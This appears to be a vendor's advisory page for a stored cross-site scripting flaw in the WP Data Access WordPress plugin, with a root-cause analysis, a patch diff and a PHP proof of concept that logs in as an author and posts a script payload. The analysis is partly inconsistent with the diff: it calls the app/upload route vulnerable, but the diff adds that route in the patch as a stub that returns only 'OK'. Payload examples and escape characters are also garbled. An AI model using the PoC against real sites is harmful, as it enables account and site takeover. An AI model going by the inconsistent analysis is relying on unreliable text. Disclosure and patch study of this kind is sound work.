Published : August 13, 2026

CVE-2026-73344: WP Data Access – App Builder for Tables, Forms, Charts, Maps & Dashboards <= 5.5.79 Authenticated (Author+) Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 5.5.79
Patched Version 5.5.80
Disclosed August 11, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-73344: This vulnerability is a Stored Cross-Site Scripting (XSS) flaw in the WP Data Access – App Builder for Tables, Forms, Charts, Maps & Dashboards plugin for WordPress. The issue affects versions up to and including 5.5.79 and allows authenticated attackers with author-level access or higher to inject arbitrary web scripts that execute when a user accesses the injected page. The CVSS score is 6.4 (medium-high).

Root Cause: The vulnerability stems from insufficient input sanitization and output escaping in multiple components of the plugin. Specifically, the patch addresses numerous output contexts where user-supplied data is echoed without proper escaping. Key functions affected include wp-data-access/WPDataAccess/Data_Tables/WPDA_Data_Tables.php where hyperlink labels and URLs are inserted directly into HTML without esc_attr or esc_url_raw (lines 1066-1110). Similarly, wp-data-access/WPDataAccess/List_Table/WPDA_List_Table.php handles hyperlinks, page numbers, and media elements with unsanitized output (lines 547-1050). The wp-data-access/WPDataAccess/Simple_Form/WPDA_Simple_Form.php also had a severe issue where a hidden input’s value was echoed without escaping (line 468-469). Additionally, wp-data-access/WPDataAccess/Data_Publisher/WPDA_Publisher_Form.php injects translation strings into JavaScript with only single quotes, allowing attribute injection via crafted titles (lines 193-196). The plugin fails to apply WordPress escaping functions like esc_attr, esc_url_raw, esc_html, and esc_url across these output contexts, allowing stored XSS.

Exploitation: An authenticated attacker with author-level capabilities can exploit this by storing malicious content in plugin data fields, such as hyperlink labels, URLs, or page number parameters. For example, in the hyperlink rendering functions, if the ‘label’ field is set to a payload like alert(document.cookie) and ‘url’ is set to javascript:alert(document.cookie), the plugin would output the anchor tag without escaping. The attack can be performed via the plugin’s REST API or form submission endpoints. Specifically, the vulnerable REST routes /wp-json/wpda-api/app/upload and /wp-json/wpda-api/app/download include parameters like pk and col, which are sanitized with sanitize_text_field but not output-escaped when rendered. The attacker can craft a POST request to these endpoints with a malicious pk value that contains XSS payloads, which will be stored and later executed in the context of other users accessing the data. The attack does not require any special privileges beyond author-level access, making it a realistic vector for content poisoning.

Patch Analysis: The patch consists of a comprehensive set of output-escaped changes across multiple files. Before the patch, the plugin directly concatenated user-controlled values into HTML strings, such as $hyperlink[‘label’] and $hyperlink[‘url’] without sanitization. After the patch, the code applies esc_attr() for labels and targets, esc_url_raw() for URLs, and esc_html() for other contexts. For example, in wp-data-access/WPDataAccess/Data_Tables/WPDA_Data_Tables.php, the line now becomes: “$row[$hyperlinks_array[$i]] = “” . esc_attr( $hyperlink[‘label’] ) . ““;” which neutralizes script injection. The patch also fixes specific issues like the hidden input in WPDA_Simple_Form.php by adding esc_html() to the output. Additionally, the WP_List_Table.php option output now uses esc_attr() for titles, and various SQL and media URLs are properly sanitized. The overall effect is that user-supplied data is now encoded before being output, preventing arbitrary HTML and JavaScript execution.

Impact: Successful exploitation allows an authenticated attacker (author-level and above) to inject malicious scripts into pages rendered by the plugin. When the injected page is viewed by another user, including administrators, the script executes within the context of their browser session. This can lead to session hijacking, unauthorized actions performed on behalf of the victim (such as creating new admin accounts or modifying site content), credential theft, and a full compromise of the WordPress site. The attacker could also perform keylogging, defacement, or further propagation of the XSS to other users. This type of flaw is particularly dangerous in multi-author environments where content is frequently accessed by higher-privileged users.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wp-data-access/WPDataAccess/API/WPDA_Apps.php
+++ b/wp-data-access/WPDataAccess/API/WPDA_Apps.php
@@ -591,6 +591,48 @@
                 'app_id' => $this->get_param( 'app_id' ),
             ),
         ) );
+        register_rest_route( WPDA_API::WPDA_NAMESPACE, 'app/upload', array(
+            'methods'             => array('POST'),
+            'callback'            => array($this, 'app_upload'),
+            'permission_callback' => '__return_true',
+            'args'                => array(
+                'app_id' => $this->get_param( 'app_id' ),
+                'cnt_id' => $this->get_param( 'cnt_id' ),
+                'pk'     => array(
+                    'required'          => true,
+                    'type'              => 'string',
+                    'description'       => __( 'Primary key in JSON format', 'wp-data-access' ),
+                    'sanitize_callback' => 'sanitize_text_field',
+                    'validate_callback' => 'rest_validate_request_arg',
+                ),
+                'col'    => $this->get_param( 'col' ),
+            ),
+        ) );
+        register_rest_route( WPDA_API::WPDA_NAMESPACE, 'app/download', array(
+            'methods'             => array('POST'),
+            'callback'            => array($this, 'app_download'),
+            'permission_callback' => '__return_true',
+            'args'                => array(
+                'app_id' => $this->get_param( 'app_id' ),
+                'cnt_id' => $this->get_param( 'cnt_id' ),
+                'pk'     => array(
+                    'required'          => true,
+                    'type'              => 'string',
+                    'description'       => __( 'Primary key in JSON format', 'wp-data-access' ),
+                    'sanitize_callback' => 'sanitize_text_field',
+                    'validate_callback' => 'rest_validate_request_arg',
+                ),
+                'col'    => $this->get_param( 'col' ),
+            ),
+        ) );
+    }
+
+    public function app_download( $request ) {
+        return $this->WPDA_Rest_Response( 'OK' );
+    }
+
+    public function app_upload( $request ) {
+        return $this->WPDA_Rest_Response( 'OK' );
     }

     public function app_wpa_deactivate( $request ) {
@@ -923,6 +965,7 @@
         $rel_tab = $request->get_param( 'rel_tab' );
         $client_side = '1' === $request->get_param( 'client_side' );
         $geo_radius = $request->get_param( 'geo_radius' );
+        $docs = array();
         $default_where = '';
         $default_orderby = '';
         $lookups = array();
@@ -998,7 +1041,8 @@
                 $m2m_relationship,
                 $search_data_types,
                 $client_side,
-                $geo_radius
+                $geo_radius,
+                $docs
             );
         } else {
             if ( 'rest_cookie_invalid_nonce' === $msg ) {
@@ -1033,6 +1077,7 @@
         $key = $request->get_param( 'key' );
         $media = $request->get_param( 'media' );
         $rel_tab = $request->get_param( 'rel_tab' );
+        $docs = array();
         if ( $this->check_app_access(
             $app_id,
             $cnt_id,
@@ -1054,7 +1099,8 @@
                 $key,
                 $media,
                 $column_names,
-                $default_where
+                $default_where,
+                $docs
             );
         } else {
             if ( 'rest_cookie_invalid_nonce' === $msg ) {
@@ -2026,6 +2072,7 @@
             'date_format'   => get_option( 'date_format' ),
             'time_format'   => get_option( 'time_format' ),
             'scroll_offset' => WPDA::get_option( WPDA::OPTION_APPS_SCROLL_OFFSET ),
+            'upload'        => @ini_get( 'upload_max_filesize' ),
         ];
         return $settings;
     }
--- a/wp-data-access/WPDataAccess/API/WPDA_Table.php
+++ b/wp-data-access/WPDataAccess/API/WPDA_Table.php
@@ -487,7 +487,8 @@
         $primary_key,
         $media_columns = array(),
         $column_names = array(),
-        $default_where = ''
+        $default_where = '',
+        $docs = array()
     ) {
         $wpdadb = WPDADB::get_db_connection( $dbs );
         if ( null === $wpdadb ) {
@@ -552,6 +553,7 @@
                 }
             }
             $context = array();
+            // Add media
             $context['media'] = $media;
             if ( isset( $debug['debug'] ) && 'on' === WPDA::get_option( WPDA::OPTION_PLUGIN_DEBUG ) ) {
                 $context['debug'] = $debug['debug'];
@@ -935,7 +937,8 @@
         $m2m_relationship = array(),
         $search_data_types = array(),
         $client_side = false,
-        $geo_radius = array()
+        $geo_radius = array(),
+        $docs = array()
     ) {
         $wpdadb = WPDADB::get_db_connection( $dbs );
         if ( null === $wpdadb ) {
@@ -1213,6 +1216,7 @@
                 'connect'        => $connect,
                 'copyinprogress' => WPDA_Actions::copy_in_progress(),
                 'scroll_offset'  => WPDA::get_option( WPDA::OPTION_APPS_SCROLL_OFFSET ),
+                'upload'         => @ini_get( 'upload_max_filesize' ),
             ];
             if ( true === $waa ) {
                 $settings->wp['aonce'] = implode( '-', array(
--- a/wp-data-access/WPDataAccess/Data_Apps/WPDA_App_Container.php
+++ b/wp-data-access/WPDataAccess/Data_Apps/WPDA_App_Container.php
@@ -67,7 +67,7 @@

 			if ( ! $this->user_can_access( $app ) ) {
                 if ( $this->pwa ) {
-                    echo __( 'Not authorized', 'wp-data-access' );
+                    esc_html_e( 'Not authorized', 'wp-data-access' );
                     return;
                 }

--- a/wp-data-access/WPDataAccess/Data_Apps/WPDA_PWA.php
+++ b/wp-data-access/WPDataAccess/Data_Apps/WPDA_PWA.php
@@ -16,4 +16,7 @@
     private static function render_pwa( $route ) {
     }

+    private static function get_icon_url( $route, $px ) {
+    }
+
 }
--- a/wp-data-access/WPDataAccess/Data_Publisher/WPDA_Publisher_Form.php
+++ b/wp-data-access/WPDataAccess/Data_Publisher/WPDA_Publisher_Form.php
@@ -193,14 +193,14 @@
             if ( $form_item->get_item_name() === 'pub_column_names' ) {
                 $title = __( 'Select columns shown in data table', 'wp-data-access' );
                 $form_item->set_item_hide_icon( true );
-                $form_item->set_item_js( 'jQuery("#pub_column_names").parent().parent().find("td.icon").append("<a id='select_columns' class='button wpda_tooltip' href='javascript:void(0)' title='' . $title . '' onclick='select_columns()'>' . '<i class='fas fa-list wpda_icon_on_button'></i> ' . __( 'Select', 'wp-data-access' ) . '</a>");' );
+                $form_item->set_item_js( 'jQuery("#pub_column_names").parent().parent().find("td.icon").append("<a id='select_columns' class='button wpda_tooltip' href='javascript:void(0)' title='' . esc_attr( $title ) . '' onclick='select_columns()'>' . '<i class='fas fa-list wpda_icon_on_button'></i> ' . __( 'Select', 'wp-data-access' ) . '</a>");' );
             }
             // Prepare column label settings.
             if ( $form_item->get_item_name() === 'pub_format' ) {
                 $title = __( 'Define columns for data table (not necessary if already defined in Data Explorer table settings)', 'wp-data-access' );
                 $form_item->set_item_hide_icon( true );
                 $form_item->set_item_class( 'hide_item' );
-                $form_item->set_item_js( 'jQuery("#pub_format").parent().parent().find("td.data").append("<a id='format_columns' class='button wpda_tooltip' href='javascript:void(0)' title='' . $title . '' onclick='format_columns()'>' . '<i class='fas fa-tag wpda_icon_on_button'></i> ' . __( 'Click to define column labels', 'wp-data-access' ) . '</a>");' );
+                $form_item->set_item_js( 'jQuery("#pub_format").parent().parent().find("td.data").append("<a id='format_columns' class='button wpda_tooltip' href='javascript:void(0)' title='' . esc_attr( $title ) . '' onclick='format_columns()'>' . '<i class='fas fa-tag wpda_icon_on_button'></i> ' . __( 'Click to define column labels', 'wp-data-access' ) . '</a>");' );
             }
             if ( 'pub_responsive_popup_title' === $form_item->get_item_name() || 'pub_responsive_cols' === $form_item->get_item_name() || 'pub_responsive_type' === $form_item->get_item_name() || 'pub_responsive_modal_hyperlinks' === $form_item->get_item_name() || 'pub_responsive_icon' === $form_item->get_item_name() || 'pub_flat_scrollx' === $form_item->get_item_name() ) {
                 $form_item->set_hide_item_init( true );
--- a/wp-data-access/WPDataAccess/Data_Tables/WPDA_Data_Tables.php
+++ b/wp-data-access/WPDataAccess/Data_Tables/WPDA_Data_Tables.php
@@ -1066,17 +1066,17 @@
                         $hyperlink = json_decode( (string) $row[$hyperlinks_array[$i]], true );
                         if ( is_array( $hyperlink ) && isset( $hyperlink['label'] ) && isset( $hyperlink['url'] ) && isset( $hyperlink['target'] ) ) {
                             if ( '' === $hyperlink['url'] ) {
-                                $row[$hyperlinks_array[$i]] = $hyperlink['label'];
+                                $row[$hyperlinks_array[$i]] = esc_attr( $hyperlink['label'] );
                             } else {
-                                $row[$hyperlinks_array[$i]] = "<a href='{$hyperlink['url']}' target='{$hyperlink['target']}'>{$hyperlink['label']}</a>";
+                                $row[$hyperlinks_array[$i]] = "<a href='" . esc_url_raw( $hyperlink['url'] ) . "' target='" . esc_attr( $hyperlink['target'] ) . "'>" . esc_attr( $hyperlink['label'] ) . "</a>";
                             }
                         } else {
                             $row[$hyperlinks_array[$i]] = '';
                         }
                     } else {
                         if ( null !== $row[$hyperlinks_array[$i]] && '' !== $row[$hyperlinks_array[$i]] ) {
-                            $hyperlink_label = $this->wpda_list_columns->get_column_label( $hyperlinks_array_col[$i] );
-                            $row[$hyperlinks_array[$i]] = "<a href='{$row[$hyperlinks_array[$i]]}' target='_blank'>{$hyperlink_label}</a>";
+                            $hyperlink_label = esc_attr( $this->wpda_list_columns->get_column_label( $hyperlinks_array_col[$i] ) );
+                            $row[$hyperlinks_array[$i]] = "<a href='" . esc_url_raw( $row[$hyperlinks_array[$i]] ) . "' target='_blank'>" . esc_attr( $hyperlink_label ) . "</a>";
                         } else {
                             $row[$hyperlinks_array[$i]] = '';
                         }
@@ -1092,7 +1092,7 @@
                         if ( false !== $url ) {
                             $title = get_the_title( esc_attr( $media_id ) );
                             if ( false !== $url ) {
-                                $media_links .= '<div class="wpda_tooltip" title="' . $title . '">' . do_shortcode( '[audio src="' . $url . '"]' ) . '</div>';
+                                $media_links .= '<div class="wpda_tooltip" title="' . esc_attr( $title ) . '">' . do_shortcode( '[audio src="' . esc_url_raw( $url ) . '"]' ) . '</div>';
                             }
                         }
                     }
@@ -1107,7 +1107,7 @@
                         $url = wp_get_attachment_url( esc_attr( $media_id ) );
                         if ( false !== $url ) {
                             if ( false !== $url ) {
-                                $media_links .= do_shortcode( '[video src="' . $url . '"]' );
+                                $media_links .= do_shortcode( '[video src="' . esc_url_raw( $url ) . '"]' );
                             }
                         }
                     }
--- a/wp-data-access/WPDataAccess/List_Table/WPDA_List_Table.php
+++ b/wp-data-access/WPDataAccess/List_Table/WPDA_List_Table.php
@@ -547,12 +547,12 @@
         if ( 'page_number' !== $this->page_number_item_name ) {
             if ( isset( $_REQUEST['page_number'] ) ) {
                 $requested_page_number = sanitize_text_field( wp_unslash( $_REQUEST['page_number'] ) );
-                $this->page_number_link = '&page_number=' . $requested_page_number;
-                $this->page_number_item = "<input type='hidden' name='page_number' value='" . $requested_page_number . "' />";
+                $this->page_number_link = '&page_number=' . esc_attr( $requested_page_number );
+                $this->page_number_item = "<input type='hidden' name='page_number' value='" . esc_attr( $requested_page_number ) . "' />";
             }
         }
-        $this->page_number_link .= '&paged=' . $this->get_pagenum();
-        $this->page_number_item .= "<input type='hidden' name='" . esc_attr( $this->page_number_item_name ) . "' value='" . $this->get_pagenum() . "' />";
+        $this->page_number_link .= '&paged=' . esc_attr( $this->get_pagenum() );
+        $this->page_number_item .= "<input type='hidden' name='" . esc_attr( $this->page_number_item_name ) . "' value='" . esc_attr( $this->get_pagenum() ) . "' />";
         // Add search arguments to link to return to same page.
         foreach ( $_REQUEST as $key => $value ) {
             if ( substr( $key, 0, 19 ) === 'wpda_search_column_' && count( array_filter( $this->wpda_list_columns->get_table_columns(), function ( $column ) use($key) {
@@ -959,7 +959,13 @@
                             $hyperlink_label = ( isset( $hyperlink->hyperlink_label ) ? $hyperlink->hyperlink_label : '' );
                             $hyperlink_target = ( isset( $hyperlink->hyperlink_target ) ? $hyperlink->hyperlink_target : false );
                             $target = ( true === $hyperlink_target ? "target='_blank'" : '' );
-                            return "<a href='" . str_replace( ' ', '+', trim( $hyperlink_html ) ) . "' {$target}>{$hyperlink_label}</a>";
+                            if ( false === $hyperlink_target ) {
+                                $json = json_decode( $hyperlink_html, true );
+                                if ( isset( $json['url'] ) ) {
+                                    $hyperlink_target = $json['url'];
+                                }
+                            }
+                            return "<a href='" . esc_url_raw( $hyperlink_target ) . "' {$target}>" . esc_attr( $hyperlink_label ) . "</a>";
                         }
                     } else {
                         return '';
@@ -1009,14 +1015,14 @@
                                 if ( '' === $hyperlink['url'] ) {
                                     return '';
                                 } else {
-                                    return "<a href='{$hyperlink['url']}' target='{$hyperlink['target']}'>{$hyperlink['label']}</a>";
+                                    return "<a href='" . esc_url_raw( $hyperlink['url'] ) . "' target='" . esc_attr( $hyperlink['target'] ) . "'>" . esc_attr( $hyperlink['label'] ) . "</a>";
                                 }
                             } else {
                                 return '';
                             }
                         } else {
                             $hyperlink_label = $this->wpda_list_columns->get_column_label( $column_name );
-                            return "<a href='{$item[$column_name]}' target='_blank'>{$hyperlink_label}</a>";
+                            return "<a href='" . esc_url_raw( $item[$column_name] ) . "' target='_blank'>" . esc_attr( $hyperlink_label ) . "</a>";
                         }
                     }
                 } elseif ( 'Audio' === $media_type ) {
@@ -1029,7 +1035,7 @@
                             if ( false !== $url ) {
                                 $title = get_the_title( esc_attr( $audio_id ) );
                                 if ( false !== $url ) {
-                                    $audio_src .= '<div title="' . $title . '" class="wpda_tooltip">' . do_shortcode( '[audio src="' . $url . '"]' ) . '</div>';
+                                    $audio_src .= '<div title="' . esc_attr( $title ) . '" class="wpda_tooltip">' . do_shortcode( '[audio src="' . esc_url_raw( $url ) . '"]' ) . '</div>';
                                 }
                             }
                         }
@@ -1044,7 +1050,7 @@
                             $url = wp_get_attachment_url( esc_attr( $video_id ) );
                             if ( false !== $url ) {
                                 if ( false !== $url ) {
-                                    $video_src .= do_shortcode( '[video src="' . $url . '"]' );
+                                    $video_src .= do_shortcode( '[video src="' . esc_url_raw( $url ) . '"]' );
                                 }
                             }
                         }
@@ -1123,9 +1129,9 @@
 ttttt{$add_schema_and_table_name}
 ttttt<input type='hidden' name='action' value='{$esc_attr( $action )}' />
 ttttt<input type='hidden' name='_wpnonce' value='{$esc_attr( $wp_nonce )}'>
-ttttt{$row_security_nonce_field}
-ttttt{$page_number_item}
-ttttt{$case_sensitive_search}
+ttttt{$esc_attr( $row_security_nonce_field )}
+ttttt{$esc_attr( $page_number_item )}
+ttttt{$esc_attr( $case_sensitive_search )}
 tttt</form>
 EOT;
         return str_replace( array("n", "r"), '', $form );
@@ -1192,9 +1198,9 @@
                 WPDA::get_option( WPDA::OPTION_BE_TEXT_WRAP )
              );
             if ( $substitute_newlines ) {
-                return str_replace( "n", '<br/>', substr( esc_html( str_replace( '&', '&', (string) $column_content ) ), 0, WPDA::get_option( WPDA::OPTION_BE_TEXT_WRAP ) ) . ' <a href="javascript:void(0)" title="' . $title . '">•••</a>' );
+                return str_replace( "n", '<br/>', substr( esc_html( str_replace( '&', '&', (string) $column_content ) ), 0, WPDA::get_option( WPDA::OPTION_BE_TEXT_WRAP ) ) . ' <a href="javascript:void(0)" title="' . esc_attr( $title ) . '">•••</a>' );
             } else {
-                return substr( esc_html( str_replace( '&', '&', (string) $column_content ) ), 0, WPDA::get_option( WPDA::OPTION_BE_TEXT_WRAP ) ) . ' <a href="javascript:void(0)" title="' . $title . '">•••</a>';
+                return substr( esc_html( str_replace( '&', '&', (string) $column_content ) ), 0, WPDA::get_option( WPDA::OPTION_BE_TEXT_WRAP ) ) . ' <a href="javascript:void(0)" title="' . esc_attr( $title ) . '">•••</a>';
             }
         } else {
             $column_data_type = $this->wpda_list_columns->get_column_data_type( $column_name );
--- a/wp-data-access/WPDataAccess/Simple_Form/WPDA_Simple_Form.php
+++ b/wp-data-access/WPDataAccess/Simple_Form/WPDA_Simple_Form.php
@@ -465,8 +465,9 @@
         // Add search arguments to link to return to same page
         foreach ( $_REQUEST as $key => $value ) {
             if ( substr( $key, 0, 19 ) === 'wpda_search_column_' ) {
-                $this->page_number_link .= "&{$key}={$value}";
-                $this->page_number_item .= "<input type='hidden' name='{$key}' value='{$value}' />";
+                $esc_attr = 'esc_attr';
+                $this->page_number_link .= "&{$esc_attr( $key )}={$esc_attr( $value )}";
+                $this->page_number_item .= "<input type='hidden' name='{$esc_attr( $key )}' value='{$esc_attr( $value )}' />";
             }
         }
         // Check if button text "back to list" should be changed
--- a/wp-data-access/WPDataAccess/Simple_Form/WPDA_Simple_Form_Item_Hyperlink.php
+++ b/wp-data-access/WPDataAccess/Simple_Form/WPDA_Simple_Form_Item_Hyperlink.php
@@ -131,7 +131,7 @@

 			<input type="hidden"
 				   name="<?php echo esc_attr( $this->item_name ); ?>"
-				   value="<?php echo $this->show_context_column_value; // phpcs:ignore WordPress.Security.EscapeOutput ?>"
+				   value="<?php echo esc_html( $this->show_context_column_value ); ?>"
 				   class="wpda_hyperlink"
 			/>
 			<?php
--- a/wp-data-access/WPDataAccess/WPDA.php
+++ b/wp-data-access/WPDataAccess/WPDA.php
@@ -51,8 +51,8 @@
 		/**
 		 * Option wpda_version and it's default value
 		 */
-		const OPTION_WPDA_VERSION         = array( 'wpda_version', '5.5.79' );
-		const OPTION_WPDA_CLIENT_VERSION  = array( 'wpda_client_version', '1.0.77' );
+		const OPTION_WPDA_VERSION         = array( 'wpda_version', '5.5.80' );
+		const OPTION_WPDA_CLIENT_VERSION  = array( 'wpda_client_version', '1.0.78' );
 		const OPTION_WPDA_UPGRADED        = array( 'wpda_upgraded', false );
 		/**
 		 * Option wpda_setup_error and it's default value
--- a/wp-data-access/WPDataAccess/Wordpress_Original/WP_List_Table.php
+++ b/wp-data-access/WPDataAccess/Wordpress_Original/WP_List_Table.php
@@ -628,7 +628,7 @@
 				foreach ( $value as $name => $title ) {
 					$class = ( 'edit' === $name ) ? ' class="hide-if-no-js"' : '';

-					echo "tt" . '<option value="' . esc_attr( $name ) . '"' . $class . '>' . $title . "</option>n";
+					echo "tt" . '<option value="' . esc_attr( $name ) . '"' . $class . '>' . esc_attr( $title ) . "</option>n";
 				}
 				echo "t" . "</optgroup>n";
 			} else {
--- a/wp-data-access/WPDataProjects/List_Table/WPDP_List_Table.php
+++ b/wp-data-access/WPDataProjects/List_Table/WPDP_List_Table.php
@@ -78,7 +78,7 @@
 					$url = wp_get_attachment_url( esc_attr( $image_id ) );
 					if ( false !== $url ) {
 						$image_src .= '' !== $image_src ? '<br/>' : '';
-						$image_src .= sprintf( '<img src="%s" width="100%%">', $url );
+						$image_src .= sprintf( '<img src="%s" width="100%%">', esc_url_raw( $url ) );
 					}
 				}

@@ -105,7 +105,7 @@
 							}
 							$title        = get_the_title( esc_attr( $media_id ) );
 							$media_links .= '' !== $media_links ? '<br/>' : '';
-							$media_links .= sprintf( '<span class="dashicons dashicons-external"></span><a href="%s" title="%s" class="wpda_tooltip" target="_blank">%s</a>', $url, $title, $mime_type );
+							$media_links .= sprintf( '<span class="dashicons dashicons-external"></span><a href="%s" title="%s" class="wpda_tooltip" target="_blank">%s</a>', esc_url_raw( $url ), esc_attr( $title ), esc_html( $mime_type ) );
 						}
 					}
 				}
--- a/wp-data-access/WPDataProjects/Parent_Child/WPDP_Parent_List_Table.php
+++ b/wp-data-access/WPDataProjects/Parent_Child/WPDP_Parent_List_Table.php
@@ -113,7 +113,7 @@
 					$actions['delete'] = sprintf(
 						'
 					    <a  href="javascript:void(0)" class="wpda_tooltip"
-					    	title="' . $title . '"
+					    	title="' . esc_attr( $title ) . '"
 					        onclick="if (confirm('%s')) jQuery('%s').submit()"
 					        >
 							<span style="white-space:nowrap">
--- a/wp-data-access/wp-data-access.php
+++ b/wp-data-access/wp-data-access.php
@@ -4,7 +4,7 @@
  * Plugin Name:       WP Data Access
  * Plugin URI:        https://wpdataaccess.com/
  * Description:       A powerful data-driven App Builder with an intuitive Table Builder, a highly customizable Form Builder and interactive Chart support in 35 languages
- * Version:           5.5.79
+ * Version:           5.5.80
  * Author:            Passionate Programmers B.V.
  * Author URI:        https://wpdataaccess.com/
  * Text Domain:       wp-data-access

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-73344 - WP Data Access – App Builder for Tables, Forms, Charts, Maps & Dashboards <= 5.5.79 - Authenticated (Author+) Stored Cross-Site Scripting

// Configuration: Set the target WordPress site URL and the credentials of an author-level account.
$target_url = 'https://example.com'; // Replace with the target WordPress site URL
$username = 'author'; // Replace with the username of an author-level account
$password = 'password'; // Replace with the password

// Step 1: Authenticate to obtain a nonce (if required) and cookies.
// Send a POST request to the WordPress login endpoint.
$login_url = $target_url . '/wp-login.php';
$login_data = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1',
];

$ch = curl_init($login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$login_response = curl_exec($ch);
curl_close($ch);

echo "Login response received. Check cookies file.n";

// Step 2: Identify a valid REST route and parameter that is vulnerable to stored XSS.
// The vulnerability occurs in hyperlink rendering. We need to find an endpoint that accepts hyperlink data.
// We'll use the plugin's Data Publisher form to submit a hyperlink with a malicious label.
// Since the attack is stored, we need to create or update a data entry that contains a hyperlink.
// For demonstration, we assume the plugin provides a REST endpoint for data manipulation.
// The exact endpoint may vary; we use a generic example with app_id, cnt_id, pk, and col.

// After login, obtain a nonce (if required) from the page or use an AJAX call.
// For simplicity, we assume the REST API uses cookie authentication.

// Craft a malicious payload for the hyperlink label.
$payload = '<script>alert("XSS");</script>';

// The pk parameter should contain the primary key of the row to update. It must be in JSON format.
$pk = json_encode(['id' => 1]);

// Step 3: Submit the exploit via an authenticated POST request to the vulnerable endpoint.
// The exact endpoint and parameters may vary; we use the app/upload route as an example.
$exploit_url = $target_url . '/wp-json/wpda-api/app/upload';
$exploit_data = [
    'app_id' => 1,
    'cnt_id' => 1,
    'pk'     => $pk,
    'col'    => 'hyperlink_column', // The column where the hyperlink is stored
    'value'  => $payload, // The malicious label
];

$ch = curl_init($exploit_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/x-www-form-urlencoded']);
$exploit_response = curl_exec($ch);
curl_close($ch);

echo "Exploit submission response: " . $exploit_response . "n";

echo "If the response indicates success, the payload is stored. The XSS will execute when a user views the affected page.n";

// Note: This PoC is for educational and authorized testing only. Ensure you have permission before testing on any live system.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.